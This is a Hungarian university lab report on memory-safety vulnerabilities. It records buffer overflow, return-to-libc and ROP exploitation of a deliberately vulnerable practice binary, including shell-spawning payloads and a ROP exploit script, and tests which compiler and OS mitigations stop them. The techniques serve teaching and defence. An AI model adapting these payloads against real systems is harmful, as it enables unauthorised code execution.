Mérési jegyzőkönyv

Szoftver implementációs biztonsági rések vizsgálata

2022/2023/2 félév

A mérőhely (VM) száma:	**15**
A mérés időpontja:	**2023. 03. 13.**
A mérést végezték:	**Wágner Réka (CGUOR8),** **Rittgasszer Ákos (Z8WK8D)**
Ennek a fájlnak a neve:	**MEMC_0313_15 _CGUOR8_Z8WK8D.doc** (<mérés rövidítése> _<hónap nap>_<mérőhely>_<Neptun1>_<Neptun2>. doc)

3.1. Buffer overflow bevezetés

3.1.2

Az strcpy nem biztonságos művelet, a bemeneti string hosszabb lehet a buffernek megadott 8-as méretnél.

```
void vulnerable_function(char* string) {
    char buffer[8];
    strcpy(buffer, string);
}
```

3.1.5

Elötte:

parameters x4
return address x4
saved ebp x4
local variables x8

Utána:

parameters
new return adress
aaaa
aaaaaaaa

3.1.6

A támadó input:

```
crysys@crysys-memc:~/developer/task-1$ ./app_32 "$(python -c 'print "A"*12 + "\x6b\x84\x04\x08"')"
Enjoy your shell!
$
```

3.1.7

Megoldási javaslat:

- Biztonságos alternatíva az str copy helyett
- Fordítás SSP-vel

3.1.8

Stack Smashing Protection engedélyezése megoldja a biztonsági problémát. Az argumentumok lemásolása miatt és a Canary miatt és észreveszi a végrehajtás, hogy felül íródtak az értékek, így detektálja a buffer overflow-t.

```
crysys@crysys-memc:~/developer/task-1$ make withSSP
gcc -m32  -O0 -g3 -c -fmessage-length=0 -D_FORTIFY_SOURCE=0 -MMD -MP -MF"app.d" -MT"app.d" -o "app.o" "main.c" -mprefe
rred-stack-boundary=2 -mno-accumulate-outgoing-args -msse2 -fstack-protector-all
gcc -m32  -mpreferred-stack-boundary=2 -mno-accumulate-outgoing-args -msse2 -o "app_32" "app.o"  -z execstack  -no-pie
  -Wl,-z,relro
sudo sysctl -w kernel.randomize_va_space=0
[sudo] password for crysys:
kernel.randomize_va_space = 0
crysys@crysys-memc:~/developer/task-1$ ./app_32 "$(python -c 'print "A"*12 + "\x6b\x84\x04\x08"')"
*** stack smashing detected ***: ./app_32 terminated
Aborted (core dumped)
```

3.2. Buffer overflow paraméterekkel

3.2.3

Elötte:

parameters x4
return address x4
saved ebp x4
local variables x8

Utána:

new parameter
aaaa
new return address
aaaa
aaaaaaaa

3.2.4

A támadó input:

```
crysys@crysys-memc:~/developer/task-2$ ./app_32 "$(python -c 'print "A"*12 + "\x6b\x84\x04\x08" + "aaaa" + "\x70\x85\x04\x08
"')"
Not quite a shell...
$ exit
Segmentation fault (core dumped)
```

3.2.5

ASLR-el fordítva nem oldódik meg a hiba. Ennek oka, hogy az random helyre helyezi a stack-et, de egyben tartja, így a buffer overflow felül tudja írni a kívánt címeket.

```
crysys@crysys-memc:~/developer/task-2$ make withASLR
gcc -m32  -O0 -g3 -c -fmessage-length=0 -D_FORTIFY_SOURCE=0 -MMD -MP -MF"app.d" -MT"app.d" -o "app.o" "main.c" -mpreferred-s
tack-boundary=2 -mno-accumulate-outgoing-args -msse2 -fno-stack-protector
gcc -m32  -mpreferred-stack-boundary=2 -mno-accumulate-outgoing-args -msse2 -o "app_32" "app.o"  -z execstack  -no-pie  -Wl,
-z,relro
sudo sysctl -w kernel.randomize_va_space=2
[sudo] password for crysys:
kernel.randomize_va_space = 2
crysys@crysys-memc:~/developer/task-2$ ./app_32 "$(python -c 'print "A"*12 + "\x6b\x84\x04\x08" + "aaaa" + "\x70\x85\x04\x08
"')"
Not quite a shell...
$
```

ASLR-rel és PIE-al fordítva nem jelentkezik a hiba:

```
crysys@crysys-memc:~/developer/task-2$ make withASLRwithPIE
gcc -m32  -O0 -g3 -c -fmessage-length=0 -D_FORTIFY_SOURCE=0 -MMD -MP -MF"app.d" -MT"app.d" -o "app.o" "main.c" -mpreferred-s
tack-boundary=2 -mno-accumulate-outgoing-args -msse2 -fno-stack-protector
gcc -m32  -mpreferred-stack-boundary=2 -mno-accumulate-outgoing-args -msse2 -o "app_32" "app.o"  -z execstack  -pie  -Wl,-z,
relro
sudo sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2
crysys@crysys-memc:~/developer/task-2$ ./app_32 "$(python -c 'print "A"*12 + "\x6b\x84\x04\x08" + "aaaa" + "\x70\x85\x04\x08
"')"
Segmentation fault (core dumped)
```

3.3. Return to LibC

3.3.3

A megoldáshoz a system függvényt kell használni. Ennek egy char* típusú paraméterre van szüksége.

3.3.4

Elötte:

parameters x4
return address x4
saved ebp x4
local variables x8

Utána:

new parameter
aaaa
new return address
aaaa
aaaaaaaa

3.3.5

A támadó input:

```
crysys@crysys-memc:~/developer/task-3$ ./app_32 "$(python -c 'print "A"*12 + "\x40\x29\xe4\xf7" + "aaaa" + "\x20\x85\x04\x08"')"
$ exit
Segmentation fault (core dumped)
```

3.3.6

Az NX bit engedélyezésével is jelentkezik a sérülékenység. Ennek oka, hogy az adat memóriaterületeket jelölheti meg, mint nem futtató memória. Azonban a futtatott rész egy függvény.

```
crysys@crysys-memc:~/developer/task-3$ make withNX
gcc -m32  -O0 -g3 -c -fmessage-length=0 -D_FORTIFY_SOURCE=0 -MMD -MP -MF"app.d" -MT"app.d" -o "app.o" "main.c" -mpreferred-stack-b
gcc -m32  -mpreferred-stack-boundary=2 -mno-accumulate-outgoing-args -msse2 -o "app_32" "app.o"   -z noexecstack  -no-pie  -Wl,-z,r
sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
crysys@crysys-memc:~/developer/task-3$ ./app_32 "$(python -c 'print "A"*12 + "\x40\x29\xe4\xf7" + "aaaa" + "\x20\x85\x04\x08"')"
$ exit
Segmentation fault (core dumped)
```

3.4. ROP

3.4.4

Elötte:

parameters x4
return address x4
saved ebp x4
local variables x8

Utána:

		parameter
		parameter
	add_sh	add_sh
	parameter	
add_bin adress	add_bin adress	
aaaa		
aaaaaaaa		

3.4.5

A ROPgadget álatal adott eredmény:

```
0x080484b8 : pop ebp ; ret
0x080485a8 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804830d : pop ebx ; ret
0x080484b7 : pop edi ; pop ebp ; ret
0x080485a9 : pop esi ; pop edi ; pop ebp ; ret
0x080484f5 : push 0x5d5f9000 ; ret
```

3.4.6

Az exploit.py:

```
# These values can be found with ROPgadget or with `objdump -d a.out`.
pop_ret = 0x080484b8  # TODO address of gadget like: 0x12345678
pop_pop_ret = 0x080484b7  # TODO address of gadget like: 0x12345678
exec_string = 0x804846b  # TODO address of function like: 0x12345678
add_bin = 0x804847e  # TODO address of function like: 0x12345678
add_sh = 0x80484ba  # TODO address of function like: 0x12345678

# First, the buffer overflow.
payload = "A"*12  # TODO
# payload += "BBBB"

# The add_bin(0xdeadbeef) gadget.
# TODO use the struct.pack function here as well
payload += struct.pack("I", add_bin)
payload += struct.pack("I", pop_ret)
payload += struct.pack("I", 0xdeadbeef)


# The add_sh(0xcafebabe, 0x0badf00d) gadget.
# TODO use the struct.pack function here as well
payload += struct.pack("I", add_sh)
payload += struct.pack("I", pop_pop_ret)
payload += struct.pack("I", 0xcafebabe)
payload += struct.pack("I", 0x0badf00d)



# Our final destination.
payload += struct.pack("I", exec_string)

os.system("./app_32 \"%s\"" % payload)
```

Az eredmény:

```
crysys@crysys-memc:~/developer/task-4$ python exploit.py
$ exit
```

3.4.7

SSP-vel futtatva nem jelentkezik a sérülékenység. Ennek oka, hogy a stack folytonos írása miatt felülírja a lemásolt argumentumokat és a Canary-t.